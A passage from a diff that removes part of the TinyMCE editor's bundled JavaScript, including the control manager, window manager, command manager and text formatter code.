paragraphs - // This workaround removes the element by hand and moves the caret to the previous element - if (sc && ed.dom.isBlock(sc) && !/^(TD|TH)$/.test(sc.nodeName) && bs) { - if (sc.childNodes.length == 0 || (sc.childNodes.length == 1 && sc.firstChild.nodeName == 'BR')) { - // Find previous block element - n = sc; - while ((n = n.previousSibling) && !ed.dom.isBlock(n)) ; - - if (n) { - if (sc != b.firstChild) { - // Find last text node - w = ed.dom.doc.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, FALSE); - while (tn = w.nextNode()) - n = tn; - - // Place caret at the end of last text node - r = ed.getDoc().createRange(); - r.setStart(n, n.nodeValue ? n.nodeValue.length : 0); - r.setEnd(n, n.nodeValue ? n.nodeValue.length : 0); - se.setRng(r); - - // Remove the target container - ed.dom.remove(sc); - } - - return Event.cancel(e); - } - } - } - } - }); -})(tinymce); - -(function(tinymce) { - // Shorten names - var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, extend = tinymce.extend; - - tinymce.create('tinymce.ControlManager', { - ControlManager : function(ed, s) { - var t = this, i; - - s = s || {}; - t.editor = ed; - t.controls = {}; - t.onAdd = new tinymce.util.Dispatcher(t); - t.onPostRender = new tinymce.util.Dispatcher(t); - t.prefix = s.prefix || ed.id + '_'; - t._cls = {}; - - t.onPostRender.add(function() { - each(t.controls, function(c) { - c.postRender(); - }); - }); - }, - - get : function(id) { - return this.controls[this.prefix + id] || this.controls[id]; - }, - - setActive : function(id, s) { - var c = null; - - if (c = this.get(id)) - c.setActive(s); - - return c; - }, - - setDisabled : function(id, s) { - var c = null; - - if (c = this.get(id)) - c.setDisabled(s); - - return c; - }, - - add : function(c) { - var t = this; - - if (c) { - t.controls[c.id] = c; - t.onAdd.dispatch(c, t); - } - - return c; - }, - - createControl : function(n) { - var c, t = this, ed = t.editor; - - each(ed.plugins, function(p) { - if (p.createControl) { - c = p.createControl(n, t); - - if (c) - return false; - } - }); - - switch (n) { - case "|": - case "separator": - return t.createSeparator(); - } - - if (!c && ed.buttons && (c = ed.buttons[n])) - return t.createButton(n, c); - - return t.add(c); - }, - - createDropMenu : function(id, s, cc) { - var t = this, ed = t.editor, c, bm, v, cls; - - s = extend({ - 'class' : 'mceDropDown', - constrain : ed.settings.constrain_menus - }, s); - - s['class'] = s['class'] + ' ' + ed.getParam('skin') + 'Skin'; - if (v = ed.getParam('skin_variant')) - s['class'] += ' ' + ed.getParam('skin') + 'Skin' + v.substring(0, 1).toUpperCase() + v.substring(1); - - id = t.prefix + id; - cls = cc || t._cls.dropmenu || tinymce.ui.DropMenu; - c = t.controls[id] = new cls(id, s); - c.onAddItem.add(function(c, o) { - var s = o.settings; - - s.title = ed.getLang(s.title, s.title); - - if (!s.onclick) { - s.onclick = function(v) { - if (s.cmd) - ed.execCommand(s.cmd, s.ui || false, s.value); - }; - } - }); - - ed.onRemove.add(function() { - c.destroy(); - }); - - // Fix for bug #1897785, #1898007 - if (tinymce.isIE) { - c.onShowMenu.add(function() { - // IE 8 needs focus in order to store away a range with the current collapsed caret location - ed.focus(); - - bm = ed.selection.getBookmark(1); - }); - - c.onHideMenu.add(function() { - if (bm) { - ed.selection.moveToBookmark(bm); - bm = 0; - } - }); - } - - return t.add(c); - }, - - createListBox : function(id, s, cc) { - var t = this, ed = t.editor, cmd, c, cls; - - if (t.get(id)) - return null; - - s.title = ed.translate(s.title); - s.scope = s.scope || ed; - - if (!s.onselect) { - s.onselect = function(v) { - ed.execCommand(s.cmd, s.ui || false, v || s.value); - }; - } - - s = extend({ - title : s.title, - 'class' : 'mce_' + id, - scope : s.scope, - control_manager : t - }, s); - - id = t.prefix + id; - - if (ed.settings.use_native_selects) - c = new tinymce.ui.NativeListBox(id, s); - else { - cls = cc || t._cls.listbox || tinymce.ui.ListBox; - c = new cls(id, s); - } - - t.controls[id] = c; - - // Fix focus problem in Safari - if (tinymce.isWebKit) { - c.onPostRender.add(function(c, n) { - // Store bookmark on mousedown - Event.add(n, 'mousedown', function() { - ed.bookmark = ed.selection.getBookmark(1); - }); - - // Restore on focus, since it might be lost - Event.add(n, 'focus', function() { - ed.selection.moveToBookmark(ed.bookmark); - ed.bookmark = null; - }); - }); - } - - if (c.hideMenu) - ed.onMouseDown.add(c.hideMenu, c); - - return t.add(c); - }, - - createButton : function(id, s, cc) { - var t = this, ed = t.editor, o, c, cls; - - if (t.get(id)) - return null; - - s.title = ed.translate(s.title); - s.label = ed.translate(s.label); - s.scope = s.scope || ed; - - if (!s.onclick && !s.menu_button) { - s.onclick = function() { - ed.execCommand(s.cmd, s.ui || false, s.value); - }; - } - - s = extend({ - title : s.title, - 'class' : 'mce_' + id, - unavailable_prefix : ed.getLang('unavailable', ''), - scope : s.scope, - control_manager : t - }, s); - - id = t.prefix + id; - - if (s.menu_button) { - cls = cc || t._cls.menubutton || tinymce.ui.MenuButton; - c = new cls(id, s); - ed.onMouseDown.add(c.hideMenu, c); - } else { - cls = t._cls.button || tinymce.ui.Button; - c = new cls(id, s); - } - - return t.add(c); - }, - - createMenuButton : function(id, s, cc) { - s = s || {}; - s.menu_button = 1; - - return this.createButton(id, s, cc); - }, - - createSplitButton : function(id, s, cc) { - var t = this, ed = t.editor, cmd, c, cls; - - if (t.get(id)) - return null; - - s.title = ed.translate(s.title); - s.scope = s.scope || ed; - - if (!s.onclick) { - s.onclick = function(v) { - ed.execCommand(s.cmd, s.ui || false, v || s.value); - }; - } - - if (!s.onselect) { - s.onselect = function(v) { - ed.execCommand(s.cmd, s.ui || false, v || s.value); - }; - } - - s = extend({ - title : s.title, - 'class' : 'mce_' + id, - scope : s.scope, - control_manager : t - }, s); - - id = t.prefix + id; - cls = cc || t._cls.splitbutton || tinymce.ui.SplitButton; - c = t.add(new cls(id, s)); - ed.onMouseDown.add(c.hideMenu, c); - - return c; - }, - - createColorSplitButton : function(id, s, cc) { - var t = this, ed = t.editor, cmd, c, cls, bm; - - if (t.get(id)) - return null; - - s.title = ed.translate(s.title); - s.scope = s.scope || ed; - - if (!s.onclick) { - s.onclick = function(v) { - if (tinymce.isIE) - bm = ed.selection.getBookmark(1); - - ed.execCommand(s.cmd, s.ui || false, v || s.value); - }; - } - - if (!s.onselect) { - s.onselect = function(v) { - ed.execCommand(s.cmd, s.ui || false, v || s.value); - }; - } - - s = extend({ - title : s.title, - 'class' : 'mce_' + id, - 'menu_class' : ed.getParam('skin') + 'Skin', - scope : s.scope, - more_colors_title : ed.getLang('more_colors') - }, s); - - id = t.prefix + id; - cls = cc || t._cls.colorsplitbutton || tinymce.ui.ColorSplitButton; - c = new cls(id, s); - ed.onMouseDown.add(c.hideMenu, c); - - // Remove the menu element when the editor is removed - ed.onRemove.add(function() { - c.destroy(); - }); - - // Fix for bug #1897785, #1898007 - if (tinymce.isIE) { - c.onShowMenu.add(function() { - // IE 8 needs focus in order to store away a range with the current collapsed caret location - ed.focus(); - bm = ed.selection.getBookmark(1); - }); - - c.onHideMenu.add(function() { - if (bm) { - ed.selection.moveToBookmark(bm); - bm = 0; - } - }); - } - - return t.add(c); - }, - - createToolbar : function(id, s, cc) { - var c, t = this, cls; - - id = t.prefix + id; - cls = cc || t._cls.toolbar || tinymce.ui.Toolbar; - c = new cls(id, s); - - if (t.get(id)) - return null; - - return t.add(c); - }, - - createSeparator : function(cc) { - var cls = cc || this._cls.separator || tinymce.ui.Separator; - - return new cls(); - }, - - setControlType : function(n, c) { - return this._cls[n.toLowerCase()] = c; - }, - - destroy : function() { - each(this.controls, function(c) { - c.destroy(); - }); - - this.controls = null; - } - }); -})(tinymce); - -(function(tinymce) { - var Dispatcher = tinymce.util.Dispatcher, each = tinymce.each, isIE = tinymce.isIE, isOpera = tinymce.isOpera; - - tinymce.create('tinymce.WindowManager', { - WindowManager : function(ed) { - var t = this; - - t.editor = ed; - t.onOpen = new Dispatcher(t); - t.onClose = new Dispatcher(t); - t.params = {}; - t.features = {}; - }, - - open : function(s, p) { - var t = this, f = '', x, y, mo = t.editor.settings.dialog_type == 'modal', w, sw, sh, vp = tinymce.DOM.getViewPort(), u; - - // Default some options - s = s || {}; - p = p || {}; - sw = isOpera ? vp.w : screen.width; // Opera uses windows inside the Opera window - sh = isOpera ? vp.h : screen.height; - s.name = s.name || 'mc_' + new Date().getTime(); - s.width = parseInt(s.width || 320); - s.height = parseInt(s.height || 240); - s.resizable = true; - s.left = s.left || parseInt(sw / 2.0) - (s.width / 2.0); - s.top = s.top || parseInt(sh / 2.0) - (s.height / 2.0); - p.inline = false; - p.mce_width = s.width; - p.mce_height = s.height; - p.mce_auto_focus = s.auto_focus; - - if (mo) { - if (isIE) { - s.center = true; - s.help = false; - s.dialogWidth = s.width + 'px'; - s.dialogHeight = s.height + 'px'; - s.scroll = s.scrollbars || false; - } - } - - // Build features string - each(s, function(v, k) { - if (tinymce.is(v, 'boolean')) - v = v ? 'yes' : 'no'; - - if (!/^(name|url)$/.test(k)) { - if (isIE && mo) - f += (f ? ';' : '') + k + ':' + v; - else - f += (f ? ',' : '') + k + '=' + v; - } - }); - - t.features = s; - t.params = p; - t.onOpen.dispatch(t, s, p); - - u = s.url || s.file; - u = tinymce._addVer(u); - - try { - if (isIE && mo) { - w = 1; - window.showModalDialog(u, window, f); - } else - w = window.open(u, s.name, f); - } catch (ex) { - // Ignore - } - - if (!w) - alert(t.editor.getLang('popup_blocked')); - }, - - close : function(w) { - w.close(); - this.onClose.dispatch(this); - }, - - createInstance : function(cl, a, b, c, d, e) { - var f = tinymce.resolve(cl); - - return new f(a, b, c, d, e); - }, - - confirm : function(t, cb, s, w) { - w = w || window; - - cb.call(s || this, w.confirm(this._decode(this.editor.getLang(t, t)))); - }, - - alert : function(tx, cb, s, w) { - var t = this; - - w = w || window; - w.alert(t._decode(t.editor.getLang(tx, tx))); - - if (cb) - cb.call(s || t); - }, - - resizeBy : function(dw, dh, win) { - win.resizeBy(dw, dh); - }, - - // Internal functions - - _decode : function(s) { - return tinymce.DOM.decode(s).replace(/\\n/g, '\n'); - } - }); -}(tinymce)); -(function(tinymce) { - function CommandManager() { - var execCommands = {}, queryStateCommands = {}, queryValueCommands = {}; - - function add(collection, cmd, func, scope) { - if (typeof(cmd) == 'string') - cmd = [cmd]; - - tinymce.each(cmd, function(cmd) { - collection[cmd.toLowerCase()] = {func : func, scope : scope}; - }); - }; - - tinymce.extend(this, { - add : function(cmd, func, scope) { - add(execCommands, cmd, func, scope); - }, - - addQueryStateHandler : function(cmd, func, scope) { - add(queryStateCommands, cmd, func, scope); - }, - - addQueryValueHandler : function(cmd, func, scope) { - add(queryValueCommands, cmd, func, scope); - }, - - execCommand : function(scope, cmd, ui, value, args) { - if (cmd = execCommands[cmd.toLowerCase()]) { - if (cmd.func.call(scope || cmd.scope, ui, value, args) !== false) - return true; - } - }, - - queryCommandValue : function() { - if (cmd = queryValueCommands[cmd.toLowerCase()]) - return cmd.func.call(scope || cmd.scope, ui, value, args); - }, - - queryCommandState : function() { - if (cmd = queryStateCommands[cmd.toLowerCase()]) - return cmd.func.call(scope || cmd.scope, ui, value, args); - } - }); - }; - - tinymce.GlobalCommands = new CommandManager(); -})(tinymce); -(function(tinymce) { - tinymce.Formatter = function(ed) { - var formats = {}, - each = tinymce.each, - dom = ed.dom, - selection = ed.selection, - TreeWalker = tinymce.dom.TreeWalker, - rangeUtils = new tinymce.dom.RangeUtils(dom), - isValid = ed.schema.isValid, - isBlock = dom.isBlock, - forcedRootBlock = ed.settings.forced_root_block, - nodeIndex = dom.nodeIndex, - INVISIBLE_CHAR = '\uFEFF', - MCE_ATTR_RE = /^(src|href|style)$/, - FALSE = false, - TRUE = true, - undefined, - pendingFormats = {apply : [], remove : []}; - - function isArray(obj) { - return obj instanceof Array; - }; - - function getParents(node, selector) { - return dom.getParents(node, selector, dom.getRoot()); - }; - - function isCaretNode(node) { - return node.nodeType === 1 && (node.face === 'mceinline' || node.style.fontFamily === 'mceinline'); - }; - - // Public functions - - function get(name) { - return name ? formats[name] : formats; - }; - - function register(name, format) { - if (name) { - if (typeof(name) !== 'string') { - each(name, function(format, name) { - register(name, format); - }); - } else { - // Force format into array and add it to internal collection - format = format.length ? format : [format]; - - each(format, function(format) { - // Set deep to false by default on selector formats this to avoid removing - // alignment on images inside paragraphs when alignment is changed on paragraphs - if (format.deep === undefined) - format.deep = !format.selector; - - // Default to true - if (format.split === undefined) - format.split = !format.selector || format.inline; - - // Default to true - if (format.remove === undefined && format.selector && !format.inline) - format.remove = 'none'; - - // Mark format as a mixed format inline + block level - if (format.selector && format.inline) { - format.mixed = true; - format.block_expand = true; - } - - // Split classes if needed - if (typeof(format.classes) === 'string') - format.classes = format.classes.split(/\s+/); - }); - - formats[name] = format; - } - } - }; - - function apply(name, vars, node) { - var formatList = get(name), format = formatList[0], bookmark, rng, i; - - function moveStart(rng) { - var container = rng.startContainer, - offset = rng.startOffset, - walker, node; - - // Move startContainer/startOffset in to a suitable node - if (container.nodeType == 1 || container.nodeValue === "") { - container = container.nodeType == 1 ? container.childNodes[offset] : container; - - // Might fail if the offset is behind the last element in it's container - if (container) { - walker = new TreeWalker(container, container.parentNode); - for (node = walker.current(); node; node = walker.next()) { - if (node.nodeType == 3 && !isWhiteSpaceNode(node)) { - rng.setStart(node, 0); - break; - } - } - } - } - - return rng; - }; - - function setElementFormat(elm, fmt) { - fmt = fmt || format; - - if (elm) { - each(fmt.styles, function(value, name) { - dom.setStyle(elm, name, replaceVars(value, vars)); - }); - - each(fmt.attributes, function(value, name) { - dom.setAttrib(elm, name, replaceVars(value, vars)); - }); - - each(fmt.classes, function(value) { - value = replaceVars(value, vars); - - if (!dom.hasClass(elm, value)) - dom.addClass(elm, value); - }); - } - }; - - function applyRngStyle(rng) { - var newWrappers = [], wrapName, wrapElm; - - // Setup wrapper element - wrapName = format.inline || format.block; - wrapElm = dom.create(wrapName); - setElementFormat(wrapElm); - - rangeUtils.walk(rng, function(nodes) { - var currentWrapElm; - - function process(node) { - var nodeName = node.nodeName.toLowerCase(), parentName = node.parentNode.nodeName.toLowerCase(), found; - - // Stop wrapping on br elements - if (isEq(nodeName, 'br')) { - currentWrapElm = 0; - - // Remove any br elements when we wrap things - if (format.block) - dom.remove(node); - - return; - } - - // If node is wrapper type - if (format.wrapper && matchNode(node, name, vars)) { - currentWrapElm = 0; - return; - } - - // Can we rename the block - if (format.block && !format.wrapper && isTextBlock(nodeName)) { - node = dom.rename(node, wrapName); - setElementFormat(node); - newWrappers.push(node); - currentWrapElm = 0; - return; - } - - // Handle selector patterns - if (format.selector) { - // Look for matching formats - each(formatList, function(format) { - if (dom.is(node, format.selector) && !isCaretNode(node)) { - setElementFormat(node, format); - found = true; - } - }); - - // Continue processing if a selector match wasn't found and a inline element is defined - if (!format.inline || found) { - currentWrapElm = 0; - return; - } - } - - // Is it valid to wrap this item - if (isValid(wrapName, nodeName) && isValid(parentName, wrapName)) { - // Start wrapping - if (!currentWrapElm) { - // Wrap the node - currentWrapElm = wrapElm.cloneNode(FALSE); - node.parentNode.insertBefore(currentWrapElm, node); - newWrappers.push(currentWrapElm); - } - - currentWrapElm.appendChild(node); - } else { - // Start a new wrapper for possible children - currentWrapElm = 0; - - each(tinymce.grep(node.childNodes), process); - - // End the last wrapper - currentWrapElm = 0; - } - }; - - // Process siblings from range - each(nodes, process); - }); - - // Cleanup - each(newWrappers, function(node) { - var childCount; - - function getChildCount(node) { - var count = 0; - - each(node.childNodes, function(node) { - if (!isWhiteSpaceNode(node) && !isBookmarkNode(node)) - count++; - }); - - return count; - }; - - function mergeStyles(node) { - var child, clone; - - each(node.childNodes, function(node) { - if (node.nodeType == 1 && !isBookmarkNode(node) && !isCaretNode(node)) { - child = node; - return FALSE; // break loop - } - }); - - // If child was found and of the same type as the current node - if (child && matchName(child, format)) { - clone = child.cloneNode(FALSE); - setElementFormat(clone); - - dom.replace(clone, node, TRUE); - dom.remove(child, 1); - } - - return clone || node; - }; - - childCount = getChildCount(node); - - // Remove empty nodes - if (childCount === 0) { - dom.remove(node, 1); - return; - } - - if (format.inline || format.wrapper) { - // Merges the current node with it's children of similar type to reduce the number of elements - if (!format.exact && childCount === 1) - node = mergeStyles(node); - - // Remove/merge children - each(formatList, function(format) { - // Merge all children of similar type will move styles from child to parent - // this: <span style="color:red"><b><span style="color:red; font-size:10px">text</span></b></span> - // will become: <span style="color:red"><b><span style="font-size:10px">text</span></b></span> - each(dom.select(format.inline, node), function(child) { - removeFormat(format, vars, child, format.exact ? child : null); - }); - }); - - // Remove child if direct parent is of same type - if (matchNode(node.parentNode, name, vars)) { - dom.remove(node, 1); - node = 0; - return TRUE; - } - - // Look for parent with similar style format - if (format.merge_with_parents) { - dom.getParent(node.parentNode, function(parent) { - if (matchNode(parent, name, vars)) { - dom.remove(node, 1); - node = 0; - return TRUE; - } - }); - } - - // Merge next and previous siblings if they are similar <b>text</b><b>text</b> becomes <b>texttext</b> - if (node) { - node = mergeSiblings(getNonWhiteSpaceSibling(node), node); - node = mergeSiblings(node, getNonWhiteSpaceSibling(node, TRUE)); - } - } - }); - }; - - if (format) { - if (node) { - rng = dom.createRng(); - - rng.setStartBefore(node); - rng.setEndAfter(node); - - applyRngStyle(expandRng(rng, formatList)); - } else { - if (!selection.isCollapsed() || !format.inline) { - // Apply formatting to selection - bookmark = selection.getBookmark(); - applyRngStyle(expandRng(selection.getRng(TRUE), formatList)); - - selection.moveToBookmark(bookmark); - selection.setRng(moveStart(selection.getRng(TRUE))); - ed.nodeChanged(); - } else - performCaretAction('apply', name, vars); - } - } - }; - - function remove(name, vars, node) { - var formatList = get(name), format = formatList[0], bookmark, i, rng; - - function moveStart(rng) { - var container = rng.startContainer, - offset = rng.startOffset, - walker, node, nodes, tmpNode; - - // Convert text node into index if possible - if (container.nodeType == 3 && offset >= container.nodeValue.length - 1) { - container = container.parentNode; - offset = nodeIndex(container) + 1; - } - - // Move startContainer/startOffset in to a suitable node - if (container.nodeType == 1) { - nodes = container.childNodes; - container = nodes[Math.min(offset, nodes.length - 1)]; - walker = new TreeWalker(container); - - // If offset is at end of the parent node walk to the next one - if (offset > nodes.length - 1) - walker.next(); - - for (node = walker.current(); node; node = walker.next()) { - if (node.nodeType == 3 && !isWhiteSpaceNode(node)) { - // IE has a "neat" feature where it moves the start node into the closest element - // we can avoid this by inserting an element before it and then remove it after we set the selection - tmpNode = dom.create('a', null, INVISIBLE_CHAR); - node.parentNode.insertBefore(tmpNode, node); - - // Set selection and remove tmpNode - rng.setStart(node, 0); - selection.setRng(rng); - dom.remove(tmpNode); - - return; - } - } - } - }; - - // Merges the styles for each node - function process(node) { - var children, i, l; - - // Grab the children first since the nodelist might be changed - children = tinymce.grep(node.childNodes); - - // Process current node - for (i = 0, l = formatList.length; i < l; i++) { - if (removeFormat(formatList[i], vars, node, node)) - break; - } - - // Process the children - if (format.deep) { - for (i = 0, l = children.length; i < l; i++) - process(children[i]); - } - }; - - function findFormatRoot(container) { - var formatRoot; - - // Find format root - each(getParents(container.parentNode).reverse(), function(parent) { - var format; - - // Find format root element - if (!formatRoot && parent.id != '_start' && parent.id != '_end') { - // Is the node matching the format we are looking for - format = matchNode(parent, name, vars); - if (format && format.split !== false) - formatRoot = parent; - } - }); - - return formatRoot; - }; - - function wrapAndSplit(format_root, container, target, split) { - var parent, clone, lastClone, firstClone, i, formatRootParent; - - // Format root found then clone formats and split it - if (format_root) { - formatRootParent = format_root.parentNode; - - for (parent = container.parentNode; parent && parent != formatRootParent; parent = parent.parentNode) { - clone = parent.cloneNode(FALSE); - - for (i = 0; i < formatList.length; i++) { - if (removeFormat(formatList[i], vars, clone, clone)) { - clone = 0; - break; - } - } - - // Build wrapper node - if (clone) { - if (lastClone) - clone.appendChild(lastClone); - - if (!firstClone) - firstClone = clone; - - lastClone = clone; - } - } - - // Never split block elements if the format is mixed - if (split && (!format.mixed || !isBlock(format_root))) - container = dom.split(format_root, container); - - // Wrap container in cloned formats - if (lastClone) { - target.parentNode.insertBefore(lastClone, target); - firstClone.appendChild(target); - } - } - - return container; - }; - - function splitToFormatRoot(container) { - return wrapAndSplit(findFormatRoot(container), container, container, true); - }; - - function unwrap(start) { - var node = dom.get(start ? '_start' : '_end'), - out = node[start ? 'firstChild' : 'lastChild']; - - // If the end is placed within the start the result will be removed - // So this checks if the out node is a bookmark node if it is it - // checks for another more suitable node - if (isBookmarkNode(out)) - out = out[start ? 'firstChild' : 'lastChild']; - - dom.remove(node, true); - - return out; - }; - - function removeRngStyle(rng) { - var startContainer, endContainer; - - rng = expandRng(rng, formatList, TRUE); - - if (format.split) { - startContainer = getContainer(rng, TRUE); - endContainer = getContainer(rng); - - if (startContainer != endContainer) { - // Wrap start/end nodes in span element since these might be cloned/moved - startContainer = wrap(startContainer, 'span', {id : '_start', _mce_type : 'bookmark'}); - endContainer = wrap(endContainer, 'span', {id : '_end', _mce_type : 'bookmark'}); - - // Split start/end - splitToFormatRoot(startContainer); - splitToFormatRoot(endContainer); - - // Unwrap start/end to get real elements again - startContainer = unwrap(TRUE); - endContainer = unwrap(); - } else - startContainer = endContainer = splitToFormatRoot(startContainer); - - // Update range positions since they might have changed after the split operations - rng.startContainer = startContainer.parentNode; - rng.startOffset = nodeIndex(startContainer); - rng.endContainer = endContainer.parentNode; - rng.endOffset = nodeIndex(endContainer) + 1; - } - - // Remove items between start/end - rangeUtils.walk(rng, function(nodes) { - each(nodes, function(node) { - process(node); - }); - }); - }; - - // Handle node - if (node) { - rng = dom.createRng(); - rng.setStartBefore(node); - rng.setEndAfter(node); - removeRngStyle(rng); - return; - } - - if (!selection.isCollapsed() || !format.inline) { - bookmark = selection.getBookmark(); - removeRngStyle(selection.getRng(TRUE)); - selection.moveToBookmark(bookmark); - - // Check if start element still has formatting then we are at: "<b>text|</b>text" and need to move the start into the next text node - if (match(name, vars, selection.getStart())) { - moveStart(selection.getRng(true)); - } - - ed.nodeChanged(); - } else - performCaretAction('remove', name, vars); - }; - - function toggle(name, vars, node) { - if (match(name, vars, node)) - remove(name, vars, node); - else - apply(name, vars, node); - }; - - function matchNode(node, name, vars, similar) { - var formatList = get(name), format, i, classes; - - function matchItems(node, format, item_name) { - var key, value, items = format[item_name], i; - - // Check all items - if (items) { - // Non indexed object - if (items.length === undefined) { - for (key in items) { - if (items.hasOwnProperty(key)) { - if (item_name === 'attributes') - value = dom.getAttrib(node, key); - else - value = getStyle(node, key); - - if (similar && !value && !format.exact) - return; - - if ((!similar || format.exact) && !isEq(value, replaceVars(items[key], vars))) - return; - } - } - } else { - // Only one match needed for indexed arrays - for (i = 0; i < items.length; i++) { - if (item_name === 'attributes' ? dom.getAttrib(node, items[i]) : getStyle(node, items[i])) - return format; - } - } - } - - return format; - }; - - if (formatList && node) { - // Check each format in list - for (i = 0; i < formatList.length; i++) { - format = formatList[i]; - - // Name name, attributes, styles and classes - if (matchName(node, format) && matchItems(node, format, 'attributes') && matchItems(node, format, 'styles')) { - // Match classes - if (classes = format.classes) { - for (i = 0; i < classes.length; i++) { - if (!dom.hasClass(node, classes[i])) - return; - } - } - - return format; - } - } - } - }; - - function match(name, vars, node) { - var startNode, i; - - function matchParents(node) { - // Find first node with similar format settings - node = dom.getParent(node, function(node) { - return !!matchNode(node, name, vars, true); - }); - - // Do an exact check on the similar format element - return matchNode(node, name, vars); - }; - - // Check specified node - if (node) - return matchParents(node); - - // Check pending formats - if (selection.isCollapsed()) { - for (i = pendingFormats.apply.length - 1; i >= 0; i--) { - if (pendingFormats.apply[i].name == name) - return true; - } - - for (i = pendingFormats.remove.length - 1; i >= 0; i--) { - if (pendingFormats.remove[i].name == name) - return false; - } - - return matchParents(selection.getNode()); - } - - // Check selected node - node = selection.getNode(); - if (matchParents(node)) - return TRUE; - - // Check start node if it's different - startNode = selection.getStart(); - if (startNode != node) { - if (matchParents(startNode)) - return TRUE; - } - - return FALSE; - }; - - function matchAll(names, vars) { - var startElement, matchedFormatNames = [], checkedMap = {}, i, ni, name; - - // If the selection is collapsed then check pending formats - if (selection.isCollapsed()) { - for (ni = 0; ni < names.length; ni++) { - // If the name is to be removed, then stop it from being added - for (i = pendingFormats.remove.length - 1; i >= 0; i--) { - name = names[ni]; - - if (pendingFormats.remove[i].name == name) { - checkedMap[name] = true; - break; - } - } - } - - // If the format is to be applied - for (i = pendingFormats.apply.length - 1; i >= 0; i--) { - for (ni = 0; ni < names.length; ni++) { - name = names[ni]; - - if (!checkedMap[name] && pendingFormats.apply[i].name == name) { - checkedMap[name] = true; - matchedFormatNames.push(name); - } - } - } - } - - // Check start of selection for formats - startElement = selection.getStart(); - dom.getParent(startElement, function(node) { - var i, name; - - for (i = 0; i < names.length; i++) { - name = names[i]; - - if (!checkedMap[name] && matchNode(node, name, vars)) { - checkedMap[name] = true; - matchedFormatNames.push(name); - } - } - }); - - return matchedFormatNames; - }; - - function canApply(name) { - var formatList = get(name), startNode, parents, i, x, selector; - - if (formatList) { - startNode = selection.getStart(); - parents = getParents(startNode); - - for (x = formatList.length - 1; x >= 0; x--) { - selector = formatList[x].selector; - - // Format is not selector based, then always return TRUE - if (!selector) - return TRUE; - - for (i = parents.length - 1; i >= 0; i--) { - if (dom.is(parents[i], selector)) - return TRUE; - } - } - } - - return FALSE; - }; - - // Expose to public - tinymce.extend(this, { - get : get, - register : register, - apply : apply, - remove : remove, - toggle : toggle, - match : match, - matchAll : matchAll, - matchNode : matchNode, - canApply : canApply - }); - - // Private functions - - function matchName(node, format) { - // Check for inline match - if (isEq(node, format.inline)) - return TRUE; - - // Check for block match - if (isEq(node, format.block)) - return TRUE; - - // Check for selector match - if (format.selector) - return dom.is(node, format.selector); - }; - - function isEq(str1, str2) { - str1 = str1 || ''; - str2 = str2 || ''; - - str1 = '' + (str1.nodeName || str1); - str2 = '' + (str2.nodeName || str2); - - return str1.toLowerCase() == str2.toLowerCase(); - }; - - function getStyle(node, name) { - var styleVal = dom.getStyle(node, name); - - // Force the format to hex - if (name == 'color' || name == 'backgroundColor') - styleVal = dom.toHex(styleVal); - - // Opera will return bold as 700 - if (name == 'fontWeight' && styleVal == 700) - styleVal = 'bold'; - - return '' + styleVal; - }; - - function replaceVars(value, vars) { - if (typeof(value) != "string") - value = value(vars); - else if (vars) { - value = value.replace(/%(\w+)/g, function(str, name) { - return vars[name] || str; - }); - } - - return value; - }; - - function isWhiteSpaceNode(node) { - return node && node.nodeType === 3 && /^([\s\r\n]+|)$/.test(node.nodeValue); - }; - - function wrap(node, name, attrs) { - var wrapper = dom.create(name, attrs); - - node.parentNode.insertBefore(wrapper, node); - wrapper.appendChild(node); - - return wrapper; - }; - - function expandRng(rng, format, remove) { - var startContainer = rng.startContainer, - startOffset = rng.startOffset, - endContainer = rng.endContainer, - endOffset = rng.endOffset, sibling, lastIdx; - - // This function walks up the tree if there is no siblings before/after the node - function findParentContainer(container, child_name, sibling_name, root) { - var parent, child; - - root = root || dom.getRoot(); - - for (;;) { - // Check if we can move up are we at root level or body level - parent = container.parentNode; - - // Stop expanding on block elements or root depending on format - if (parent == root || (!format[0].block_expand && isBlock(parent))) - return container; - - for (sibling = parent[child_name]; sibling && sibling != container; sibling = sibling[sibling_name]) { - if (sibling.nodeType == 1 && !isBookmarkNode(sibling)) - return container; - - if (sibling.nodeType == 3 && !isWhiteSpaceNode(sibling)) - return container; - } - - container = container.parentNode; - } - - return container; - }; - - // If index based start position then resolve it - if (startContainer.nodeType == 1 && startContainer.hasChildNodes()) { - lastIdx = startContainer.childNodes.length - 1; - startContainer = startContainer.childNodes[startOffset > lastIdx ? lastIdx : startOffset]; - - if (startContainer.nodeType == 3) - startOffset = 0; - } - - // If index based end position then resolve it - if (endContainer.nodeType == 1 && endContainer.hasChildNodes()) { - lastIdx = endContainer.childNodes.length - 1; - endContainer = endContainer.childNodes[endOffset > lastIdx ? lastIdx : endOffset - 1]; - - if (endContainer.nodeType == 3) - endOffset = endContainer.nodeValue.length; - } - - // Exclude bookmark nodes if possible - if (isBookmarkNode(startContainer.parentNode)) - startContainer = startContainer.parentNode; - - if (isBookmarkNode(startContainer)) - startContainer = startContainer.nextSibling || startContainer; - - if (isBookmarkNode(endContainer.parentNode)) - endContainer = endContainer.parentNode; - - if (isBookmarkNode(endContainer)) - endContainer = endContainer.previousSibling || endContainer; - - // Move start/end point up the tree if the leaves are sharp and if we are in different containers - // Example * becomes !: !<p><b><i>*text</i><i>text*</i></b></p>! - // This will reduce the number of wrapper elements that needs to be created - // Move start point up the tree - if (format[0].inline || format[0].block_expand) { - startContainer = findParentContainer(startContainer, 'firstChild', 'nextSibling'); - endContainer = findParentContainer(endContainer, 'lastChild', 'previousSibling'); - } - - // Expand start/end container to matching selector - if (format[0].selector && format[0].expand !== FALSE && !format[0].inline) { - function findSelectorEndPoint(container, sibling_name) { - var parents, i, y; - - if (container.nodeType == 3 && container.nodeValue.length == 0 && container[sibling_name]) - container = container[sibling_name]; - - parents = getParents(container); - for (i = 0; i < parents.length; i++) { - for (y = 0; y < format.length; y++) { - if (dom.is(parents[i], format[y].selector)) - return parents[i]; - } - } - - return container; - }; - - // Find new startContainer/endContainer if there is better one - startContainer = findSelectorEndPoint(startContainer, 'previousSibling'); - endContainer = findSelectorEndPoint(endContainer, 'nextSibling'); - } - - // Expand start/end container to matching block element or text node - if (format[0].block || format[0].selector) { - function findBlockEndPoint(container, sibling_name, sibling_name2) { - var node; - - // Expand to block of similar type - if (!format[0].wrapper) - node = dom.getParent(container, format[0].block); - - // Expand to first wrappable block element or any block element - if (!node) - node = dom.getParent(container.nodeType == 3 ? container.parentNode : container, isBlock); - - // Exclude inner lists from wrapping - if (node && format[0].wrapper) - node = getParents(node, 'ul,ol').reverse()[0] || node; - - // Didn't find a block element look for first/last wrappable element - if (!node) { - node = container; - - while 